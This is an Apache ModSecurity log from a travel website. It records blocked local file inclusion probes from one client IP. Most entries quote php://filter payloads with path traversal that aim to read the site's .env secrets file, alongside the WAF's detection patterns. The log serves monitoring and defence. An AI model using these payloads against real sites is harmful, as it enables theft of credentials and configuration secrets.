[Fri Jul 17 08:55:11.122815 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=kSVmGiuty8EhWtxK-XKe5CqJv0Cc1Gl1aMK6v3kGcz-541i-NORJCYCpNy3cB_yoL_4MEVLTbN0YvK9ccLGcaA-J_zC14l1HUNgZlx0U7OHQ-JcQ7c7tZaTBNY0vlM9BgitMT5lrjqbrTzTINDe4e3ptkJJTT4vocBnfu444-BCYoY30WQd8PIy0GpU8jW8MiexUgr5Xc88fk-Qy1--OloA6QX4o4uW6sNlrCfObe4swN_U8XI6mpcYne2dS3LdQtwsAjTwkvcq861Hb6y9-BMBt&debug=MZFEVZ4PP7S734IQDMHFXMSMU5U4NMKVEPJLDDYOHKLQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.122854 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.122898 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=kSVmGiuty8EhWtxK-XKe5CqJv0Cc1Gl1aMK6v3kGcz-541i-NORJCYCpNy3cB_yoL_4MEVLTbN0YvK9ccLGcaA-J_zC14l1HUNgZlx0U7OHQ-JcQ7c7tZaTBNY0vlM9BgitMT5lrjqbrTzTINDe4e3ptkJJTT4vocBnfu444-BCYoY30WQd8PIy0GpU8jW8MiexUgr5Xc88fk-Qy1--OloA6QX4o4uW6sNlrCfObe4swN_U8XI6mpcYne2dS3LdQtwsAjTwkvcq861Hb6y9-BMBt&debug=MZFEVZ4PP7S734IQDMHFXMSMU5U4NMKVEPJLDDYOHKLQZSO2JJZSACBMJ4EEDPIRB66KR6TY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.122949 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=ksvmgiuty8ehwtxk-xke5cqjv0cc1gl1amk6v3kgcz-541i-norjcycpny3cb_yol_4mevltbn0yvk9cclgcaa-j_zc14l1hungzlx0u7ohq-jcq7c7tzatbny0vlm9bgitmt5lrjqbrtztinde4e3ptkjjtt4vocbnfu444-bcyoy30wqd8piy0gpu8jw8miexugr5xc88fk-qy1--oloa6qx4o4uw6snlrcfobe4swn_u8xi6mpcyne2ds3ldqtwsajtwkvcq861hb6y9-bmbt&debug=mzfevz4pp7s734iqdmhfxmsmu5u4nmkvepjlddyohklqzso2jjzsacbmj4eedpirb66kr6ty..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.122980 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.123005 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.123380 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.124435 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.124553 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.124821 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MLAAAAAc"]
[Fri Jul 17 08:55:11.126429 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFwAAABQ"]
[Fri Jul 17 08:55:11.127460 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFwAAABQ"]
[Fri Jul 17 08:55:11.127561 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.127820 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sFwAAABQ"]
[Fri Jul 17 08:55:11.129055 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=Ip99RQOetbUenyuBSlie1H8b-IYQnAe8uc4fhCVa8KPJdWDHy53nNiv0Ic-hJW_oYtQxNGpRuVZIWlGDwgHDk7617pyORDTRy4YILQBuo-bT_D3n2sTQOYjJjFT1qlFdA9HpFpfmatbio4olqlM72pyCV71zsVCfET7mY5SQwPA4bXh9vXqODNXQfvQbcnL1mg-x7IafIzTtb82kMtasqbQry-ssDkmfsXf-fr9FwQwlaWg1KCrvGN3WzWD49rH6bZ7fwEqfoKiJsUi5iqcf_zHm&extra=RAYQY6LSPRDGAWNIT4J5ANZ7U5P2DGO2I5LQ22E6CKLXPQFFJMI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.129109 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.129154 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&ts=Ip99RQOetbUenyuBSlie1H8b-IYQnAe8uc4fhCVa8KPJdWDHy53nNiv0Ic-hJW_oYtQxNGpRuVZIWlGDwgHDk7617pyORDTRy4YILQBuo-bT_D3n2sTQOYjJjFT1qlFdA9HpFpfmatbio4olqlM72pyCV71zsVCfET7mY5SQwPA4bXh9vXqODNXQfvQbcnL1mg-x7IafIzTtb82kMtasqbQry-ssDkmfsXf-fr9FwQwlaWg1KCrvGN3WzWD49rH6bZ7fwEqfoKiJsUi5iqcf_zHm&extra=RAYQY6LSPRDGAWNIT4J5ANZ7U5P2DGO2I5LQ22E6CKLXPQFFJMITQJ3BM27IJNJ55BPLAHPNJL64U..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.129180 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&ts=ip99rqoetbuenyubslie1h8b-iyqnae8uc4fhcva8kpjdwdhy53nniv0ic-hjw_oytqxngpruvziwlgdwghdk7617pyordtry4yilqbuo-bt_d3n2stqoyjjjft1qlfda9hpfpfmatbio4olqlm72pycv71zsvcfet7my5sqwpa4bxh9vxqodnxqfvqbcnl1mg-x7iafizttb82kmtasqbqry-ssdkmfsxf-fr9fwqwlawg1kcrvgn3wzwd49rh6bz7fweqfokijsui5iqcf_zhm&extra=rayqy6lsprdgawnit4j5anz7u5p2dgo2i5lq22e6cklxpqffjmitqj3bm27ijnj55bplahpnjl64u..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.129209 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.129227 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.129546 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.130574 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.130696 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.130958 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AXwAAAAU"]
[Fri Jul 17 08:55:11.131115 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=E8UYZQpelqcruCuMRe_zDiy6tfOvAxcRJ55M1gk5nW7bKsnL5kS1R708wKfcLLXvpEk6N1GoOQYn_w8i7mCPb7M5RTE4XGozRgdCknIbiZsr9jxd5IE6SgvSth-X9Lj9SOXW00YDz8tu9Uyj_RFXiGdAaps6HvgtzgC-_tic1mjHF9EjSAfDaFygYQ0GM23muc32JDsTtZYUjsjNJZGsXyFbnkFmJust6LWvHepOVxgxNvT8P-8js8wuPEqLpIVAwPyAMqt_MjBmtENWlTkKl19E&anything=BHRPVCEDHMGBYYXU56LC7CED426IS6XVDK732B4NLEKMOOVO4YYKIOHNXYHG66..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.131153 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.131199 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&extra=E8UYZQpelqcruCuMRe_zDiy6tfOvAxcRJ55M1gk5nW7bKsnL5kS1R708wKfcLLXvpEk6N1GoOQYn_w8i7mCPb7M5RTE4XGozRgdCknIbiZsr9jxd5IE6SgvSth-X9Lj9SOXW00YDz8tu9Uyj_RFXiGdAaps6HvgtzgC-_tic1mjHF9EjSAfDaFygYQ0GM23muc32JDsTtZYUjsjNJZGsXyFbnkFmJust6LWvHepOVxgxNvT8P-8js8wuPEqLpIVAwPyAMqt_MjBmtENWlTkKl19E&anything=BHRPVCEDHMGBYYXU56LC7CED426IS6XVDK732B4NLEKMOOVO4YYKIOHNXYHG6633EOSK5NLFMCM2OIGDR5YKIV5C..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
